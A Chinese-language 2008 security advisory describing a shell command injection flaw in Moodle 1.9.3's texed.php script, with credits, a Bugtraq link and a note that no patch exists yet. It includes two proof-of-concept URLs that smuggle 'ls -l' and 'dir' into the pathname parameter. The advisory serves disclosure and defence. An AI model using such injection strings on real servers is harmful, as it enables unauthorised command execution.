发布日期：2008-12-12
更新日期：2008-12-16

受影响系统：

Moodle Moodle 1.9.3

描述：

---

BUGTRAQ  ID: 32801

Moodle是流行的开放源码课程管理系统。

Moodle的texed.php脚本没有对用户请求参数数据做充分的检查过滤，远程攻击者可能利用此漏洞通过在输入数据中插入Shell命令在服务器上执行任意命令。

<*来源：Antonio "s4tan" Parata
        Francesco "ascii" Ongaro
        Giovanni "evilaliv3" Pellerano
  
  链接：http://marc.info/?l=bugtraq&m=122910674604316&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Linux:
http://www.example.com/moodle/filter/tex/texed.php?formdata=foo&pathname=foo";ls+-l;echo+"

Windows:
http://www.example.com/moodle/filter/tex/texed.php?formdata=foo&pathname=foo"+||+dir+||+echo+

建议：

---

厂商补丁：

Moodle
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://moodle.org/

浏览次数：3326
严重程度：0（网友投票）